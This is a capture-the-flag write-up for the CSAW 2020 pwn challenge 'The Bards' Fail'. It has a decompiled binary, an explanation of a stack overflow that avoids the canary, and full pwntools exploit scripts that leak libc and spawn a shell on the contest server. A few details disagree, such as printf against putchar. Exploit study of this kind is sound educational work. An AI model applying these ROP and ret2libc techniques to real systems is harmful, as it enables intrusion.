Tags: rop bof pwnscripts decompilation pwntools 

Rating: 5.0

The Bards' Fail [150]

Pwn your way to glory! You do not need fluency in olde English to solve it, it is just for fun.

nc pwn.chal.csaw.io 5019

Files: bard, libc-2.27.so

This challenge was quickly finished with pwnscripts. Try it!

This writeup will be a lot more succinct than my other write-ups. Most of the exploit is in figuring out what the program does, which is not the most exciting part of pwn.

Decompilation

bard is much larger than roppity. The full decompilation is left in the appendix<sup>1</sup>, but there are still a few important parts of it to go over.

Everything that occurs is related to this function, which is called from main():

uint64_t run_everything_400F7C() {
  char s[488];     // [rsp+20h] [rbp-1F0h]
  uint64_t cookie; // [rsp+208h] [rbp-8h]
  // The cookie here is important to note.
  cookie = __readfsqword(0x28);
  memset(s, 0, 480);
  for ( int i = 0, s_ind = 0; i <= 9; ++i )
    s_ind += choose_alignment_400EB7(&s[s_ind], i);
  char *s_ptr = s;
  for ( int j = 0; j <= 9; ++j )
    s_ptr = combat_with_bard_sj_400DF4(s_ptr, j);
  return __readfsqword(0x28) ^ cookie;
}

Two things happen inside this function:

  1. Under the choose_alignment() loop, you get to initialise 10 different Bards.

    Each Bard is sort-of a Union, but we can separate the different types of Bards into Good and Evil types:

    typedef struct Good {
        char weapon;
        uint8_t PAD;
        uint16_t unknown_20;
        uint32_t unknown_15;
        char name[32];
        uint64_t unknown_hex_4032000000000000;
    } Good;
    typedef struct Bad {
        char weapon;
        uint8_t PAD[7];
        uint64_t unknown_hex_4032000000000000;
        uint32_t unknown_15;
        uint16_t unknown_20;
        char name[32];
        uint8_t PAD2[2];
    } Bad;
    

    The values that are user-controlled are weapon and name[]. All 10 Bards are stored continuously on the stack, where Good bards take up 48 bytes and Bad bards take up 56.

    If you're observant, you might have noticed that the stack storage for the 10 Bards, s[488], is only large enough to hold 10 Good bards, whereas a group of 10 Bad bards will overflow to the end of the stack.

  2. Each of the bards have combat sessions under the combat_with_bard() section. As far as I can tell, this part of the binary is mostly fluff. It might be possible to leak out the stack from this part, but it wasn't necessary for the full exploit.

If you need more details, you should really check out the code in the Appendix. Everything after here will be about the exploit.

Overflow

The stack is structured something like this:

+------------------------+-----------+-----------+-------------------------------+
|   Large s[488] chunk   |   canary  | rbp-store | return pointer and ROP region |
+----------488-----------|-----8-----|-----8-----|------as long as you want------+

If we do the math, the maximum size amount of memory we can write is 56*10 == 560. However, blindly allocating Bad bards is likely to overwrite the stack canary and lead to a crash. We need to ensure that memory is not written to the canary, and that memory is also written to the return pointer region.

To do this, we can start by allocating 7 Bad bards and 1 Good bard:

+------+-------+
| Good | Bad*7 |
+--48--+--392--+

After that, we allocate another Bad bard. This will cover the stack canary under Bad->name[], which we can specifically choose to not overwrite:

+-----------------------------+-----------+-----------+-------------------------------+
|      Large s[488] chunk     |   canary  | rbp-store | return pointer and ROP region |
+-------------488-------------|-----8-----|-----8-----|------as long as you want------+
+------+-------+-----------Bad------------+
| Good | Bad*7 | Garbage | name[],padding |
+--48--+--392--+----22---+-----0x20+2-----+

Then, we can allocate a final Good chunk that will allow us to write to the ROP region as name[]:

+-----------------------------+-----------+-----------+------------+
|      Large s[488] chunk     |   canary  | rbp-store | ROP region |
+-------------488-------------|-----8-----|-----8-----|-----32-----+
+------+-------+-----------Bad------------+----------Good----------+
| Good | Bad*7 | Garbage | name[],padding |  garbage  |   name[]   |
+--48--+--392--+----22---+-----0x20+2-----+-----8-----|-----32-----+

If all these ASCII diagrams are confusing, hopefully a POC can convince you:

from pwnscripts import *
context.binary = './bard'
main = 0x40107B #context.binary.symbols['main']

class bard(pwnlib.tubes.process.process):
    def create(r, alignment:str, weapon:int, name: bytes):
        r.sendlineafter('choose thy alignment (g = good, e = evil):\n', alignment)
        for _ in range(3): r.recvline()
        r.sendline(str(weapon))
        r.sendafter('name:\n', name)
    def combat(r, choice:str, v:int=None):
        r.sendlineafter('(r)un\n', choice)
        if choice == 'r': return r.recvline()
        if choice in 'mef': return ''.join([r.recvline() for _ in range(3)])

rop = ROP(context.binary)
rop.puts(context.binary.got['putchar'])
rop.call(main, [])

r = bard('./bard')
r.create('g', 1, b'\n')
for i in range(8): r.create('e', 1, b'\n')
r.create('g', 1, rop.chain())
log.info('ROP chain sent.')
for i in range(10): r.combat('r')

r.interactive()

The PoC succeeds; the program jumps back to main after execution:

$ python3.8 poc.py
[*] '/path/to/bard'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 14 cached gadgets for './bard'
[+] Starting local process './bard': pid 18825
[*] ROP chain sent.
[*] Switching to interactive mode
\x10\xcc\xde[\x7f
*** Welcome to the Bards' Fail! ***

Ten bards meet in a tavern.
They form a band.
You wonder if those weapons are real, or just props...

Bard #1, choose thy alignment (g = good, e = evil):
$ 

At the same time, the ROP chain we're using here allows us to leak the address of libc via a call to puts(GOT['printf']). From here, we only need to call system("/bin/sh") to win.

Server issues

It was easy enough to continue that PoC to make a full blown exploit:

from pwnscripts import *
from sys import argv
if len(argv) > 1: LOCAL = True
else: LOCAL = False
if LOCAL: db = libc_db('./libc-database', binary='/lib/x86_64-linux-gnu/libc.so.6')
else: db = libc_db('./libc-database', binary='./libc-2.27.so')
context.binary = './bard'
...
if LOCAL: r = bard('./bard')
else: r = rbard('pwn.chal.csaw.io', 5019)
r.create('g', 1, b'\n')
...
for i in range(10): r.combat('r')

base = db.calc_base('putchar', extract_first_bytes(r.recvline(),6))
log.info('base: ' + hex(base))
rop = ROP(context.binary)
rop.call(db.symbols['system'] + base, [db.symbols['str_bin_sh'] + base])

r.create('g', 1, b'\n')
for i in range(8): r.create('e', 1, b'\n')
r.create('g', 1, rop.chain())
log.info('Second ROP chain sent.')

for i in range(10): r.combat('r')
r.interactive()

Strangely, this payload, while working perfectly on local:

$ python3.8 poc.py 1
[*] '/path/to/bard'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 14 cached gadgets for './bard'
[+] Starting local process './bard': pid 19069
[*] First ROP chain sent.
[*] base: 0x7fdfe5260000
[*] Second ROP chain sent.
[*] Switching to interactive mode
$ echo hi
hi
$

...was completely broken on remote:

$ python3.8 poc.py
[*] '/path/to/bard'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 14 cached gadgets for './bard'
[+] Opening connection to pwn.chal.csaw.io on port 5019: Done
[*] First ROP chain sent.
[*] base: 0x7f308d575000
[*] Second ROP chain sent.
Traceback (most recent call last):
  File "poc.py", line 54, in <module>
    for i in range(10): r.combat('r')
  File "poc.py", line 28, in combat
    if choice == 'r': return r.recvline()
  ...
  File "/usr/local/lib/python3.8/site-packages/pwnlib/tubes/sock.py", line 56, in recv_raw
    raise EOFError
EOFError

After a long period of debugging, I realised that this was due to two separate issues:

  1. system() on remote requires a valid rbp<sup>2</sup>. The rbp applied by the final Bad bard is filled with garbage values.
  2. The remote simply fails to send the final line of output for the last instance of combat(). Not entirely sure why.

Editing the exploit to use a one_gadget<sup>3</sup> instead, we're able to solve for (1). Issue (2) was handled by editing the script's i/o a little bit.

That really fails to explain anything, so here is the final script:

from pwnscripts import *
context.binary = './bard'
main = 0x40107B #context.binary.symbols['main']
db = libc_db('./libc-database', binary='./libc-2.27.so')

class rbard(pwnlib.tubes.remote.remote):
    def create(r, alignment:str, weapon:int, name: bytes):
        r.sendlineafter('choose thy alignment (g = good, e = evil):\n', alignment)
        for _ in range(3): r.recvline()
        r.sendline(str(weapon))
        r.sendafter('name:\n', name)
    def combat(r, choice:str, v:int=None):
        r.sendlineafter('(r)un\n', choice)
        if choice == 'r': return r.recvline()
        if choice in 'mef': return ''.join([r.recvline() for _ in range(3)])

rop = ROP(context.binary)
rop.puts(context.binary.got['putchar'])
rop.call(main, [])

r = rbard('pwn.chal.csaw.io', 5019)
r.create('g', 1, b'\n')
for i in range(8): r.create('e', 1, b'\n')
r.create('g', 1, rop.chain())
log.info('First ROP chain sent.')

for i in range(10): r.combat('r')
base = db.calc_base('putchar', extract_first_bytes(r.recvline(),6))
log.info('base: ' + hex(base))
rop = ROP(context.binary)
rop.call(db.select_gadget(1)+base, [])

r.create('g', 1, b'\n')
for i in range(8): r.create('e', 1, b'\n')
r.create('g', 1, rop.chain())
log.info('Second ROP chain sent.')

for i in range(9): r.combat('r')
r.sendlineafter('(r)un\n', 'r') # Remote weirdness
r.interactive()

That's it.

Flag

flag{why_4r3_th3y_4ll_such_c0w4rds??}

Appendix

  1. Here is the entire C code:
#include <...>
char alignments_byte_6020A0[16];    // Global variable
// For both of these structs, there is no invisible padding
typedef struct Good {
  char weapon;
  uint8_t PAD;
  uint16_t unknown_20;
  uint32_t unknown_15;
  char name[32];
  uint64_t unknown_hex_4032000000000000;
} Good;
typedef struct Bad {
  char weapon;
  uint8_t PAD[7];
  uint64_t unknown_hex_4032000000000000;
  uint32_t unknown_15;
  uint16_t unknown_20;
  char name[32];
} Bad;
char *read_n_chars_400857(int len, char *s)
{ // This function is never directly called; it reads `len` chars into s[]
  memset(s, 0, len);
  int s_ind = 0;
  while (1) {
    char c = getchar();
    if ( c == '\n' || feof(stdin) )
      break;
    if ( s_ind < len - 1 )
      s[s_ind++] = c;
  }
  s[s_ind] = '\0';
  return s+s_ind;
}
long long read_32chars_return_first_4008DC()
{ // This function will read up-to 32 chars, but will only return the first char's value.
  char s[40];
  read_n_chars_400857(32, s);
  return s[0];
} // invis stack check here

int read_32chars_return_atoi_40091E()
{ //Like the previous func; this one reads up-to 32 chars, and returns its `atoi()` value
  char s[40];
  read_n_chars_400857(32, s);
  return atoi(s);
} // invis stack check here

ssize_t init_good_400968(Good *s)
{ // Initialiser for a bard of `good` alignment
  puts("Choose thy weapon:");
  puts("1) +5 Holy avenger longsword");         // 'l'
  puts("2) +4 Crossbow of deadly accuracy");    // 'x'
  fflush(stdout);
  char c = read_32chars_return_first_4008DC();
  if ( c == '1' )
    s->weapon = 'l';
  else {
    if ( c != '2' ) {
      printf("Error: invalid weapon selection. Selection was %c\n", c);
      exit(0);
    }
    s->weapon = 'x';
  }
  s->unknown_20 = 20;
  s->unknown_15 = 15;
  s->unknown_hex_4032000000000000 = 0x4032000000000000;
  puts("Enter thy name:");
  fflush(stdout);
  ssize_t result = read(0, s->name, 0x20);   // this is a raw read!
  for ( int i = 0; i <= 30; ++i ) { // This ignores s[31].
    result = s->name[i];
    if ( result == 0xA )
      s->name[result=i] = 0;
  }
  return result;
}

ssize_t init_evil_400A84(Bad *s)
{ // Initialiser for a bard of `bad` alignment
  puts("Choose thy weapon:");
  puts("1) Unholy cutlass of life draining");   // 'c'
  puts("2) Stiletto of extreme disappointment");// 's'
  fflush(stdout);
  char c = read_32chars_return_first_4008DC();
  if ( c == '1' )
    s->weapon = 'c';
  else {
    if ( c != '2' ) {
      printf("Error: invalid weapon selection. Selection was %c\n", c);
      exit(0);
    }
    s->weapon = 's';
  }
  s->unknown_20 = 20;
  s->unknown_15 = 15;
  s->unknown_hex_4032000000000000 = 0x4032000000000000;
  puts("Enter thy name:");
  fflush(stdout);
  ssize_t result = read(0, s->name, 0x20);
  for ( int i = 0; i <= 30; ++i ) { // Same bug as in init_good
    result = s->name[i];
    if ( result == '\n' )
      s->name[result=i] = '\0';
  }
  return result;
}
int combat_good_400BA0(char *name)
{ // Combat with a good bard
  puts("What dost thou do?");
  puts("Options:");
  puts("(b)ribe");
  puts("(f)latter");
  puts("(r)un");
  fflush(stdout);
  char c = read_32chars_return_first_4008DC();
  if ( c == 'b' ) {
    puts("How much dost thou offer for deadbeef to retire?");
    fflush(stdout);
    if ( read_32chars_return_atoi_40091E() <= 0 )
      puts("Not this time.");
    else
      puts("Alas! Thy funds are insufficient!");
    return puts("Thou hast been eaten by deadbeef.");
  }
  else if ( c == 'f' ) {
    printf("%s: \"Thy countenance art so erudite, thou must read RFCs each morning over biscuits!\"\n", name);
    puts("deadbeef: \"aaaaaaaaaaaaaaaaaaaaaaaaa...\"");
    return puts("Thou hast been eaten by deadbeef.");
  }
  else {
    if ( c != 'r' ) {
      puts("Error: invalid selection.");
      exit(0);
    }
    return printf("%s bravely runs away.\n", name);
  }
}

int combat_bad_400CD0(char *name)
{ // Combat with a bad bard
  puts("What dost thou do?");
  puts("Options:");
  puts("(e)xtort");
  puts("(m)ock");
  puts("(r)un");
  fflush(stdout);
  char c = read_32chars_return_first_4008DC();
  if ( c == 'e' ) {
    printf("%s: \"Give me five gold pieces or I'll start singing!\"\n", name);
    puts("Sheriff: \"To the gaol with thee, villain!\"");
    return printf("%s is arrested.\n", name);
  }
  else if ( c == 'm' ) {
    printf("%s: \"Thy face looks like thou took a 30-foot sprint in a 20-foot room!\"\n", name);
    puts("Sheriff: \"Zounds! That is slander!\"");
    return printf("%s is arrested.\n", name);
  }
  else {
    if ( c != 'r' ) {
      puts("Error: invalid selection.");
      exit(0);
    }
    return printf("%s flees the scene.\n", name);
  }
}

char *combat_with_bard_sj_400DF4(char *s, int j)
{ // Generic combat with a bard of index j and memory *s
  char alignment = alignments_byte_6020A0[j];
  putchar('\n');
  if ( alignment == 'g' ) {
    printf("%s confronts the evil zombie deadbeef.\n", s + 8);
    combat_good_400BA0(s + 8);
    return s+48;
  }
  else {
    if ( alignment != 'e' ) {
      puts("Error in reading alignments.");
      exit(0);
    }
    printf("%s confronts the town sheriff.\n", s + 22);
    combat_bad_400CD0(s + 22);
    return s+56;
  }
}

int64_t choose_alignment_400EB7(char *s, int i)
{ //generic bard initialiser
  putchar('\n');
  printf("Bard #%d, choose thy alignment (g = good, e = evil):\n", (unsigned int)(i + 1));
  fflush(stdout);
  char alignment = read_32chars_return_first_4008DC();
  if ( alignment == 'g' ) {
    alignments_byte_6020A0[i] = 'g';
    init_good_400968((Good *)s);
    return 48;
  }
  else {
    if ( alignment != 'e' ) {
      printf("Invalid alignment: %c\n", alignment);
      exit(0);
    }
    alignments_byte_6020A0[i] = 'e';
    init_evil_400A84((Bad *)s);
    return 56;
  }
}

uint64_t run_everything_400F7C() {
  char s[488];  // [rsp+20h] [rbp-1F0h]
  unsigned __int64 cookie; // [rsp+208h] [rbp-8h]
  // The cookie here is important to note.
  cookie = __readfsqword(0x28);
  memset(s, 0, 480);
  int s_ind = 0;
  for ( int i = 0; i <= 9; ++i )
    s_ind += choose_alignment_400EB7(&s[s_ind], i);
  char *s_ptr = s;
  for ( int j = 0; j <= 9; ++j )
    s_ptr = combat_with_bard_sj_400DF4(s_ptr, j);
  return __readfsqword(0x28) ^ cookie;
}

int main() {
  puts("*** Welcome to the Bards' Fail! ***\n");
  puts("Ten bards meet in a tavern.");
  puts("They form a band.");
  puts("You wonder if those weapons are real, or just props...");
  run_everything_400F7C();
  puts("Thy bards hast disbanded!\n");
  return 0;
}

That's really a lot of code.

  1. As to why it worked locally? I did not investigate.
  2. Specifically, we're using the one_gadget that has a requirement of [rsp+0x40] == 0. It just works.
Original writeup (https://github.com/IRS-Cybersec/ctfdump/blob/master/CSAW%20CTF%20QUALS%202020/thebard.md).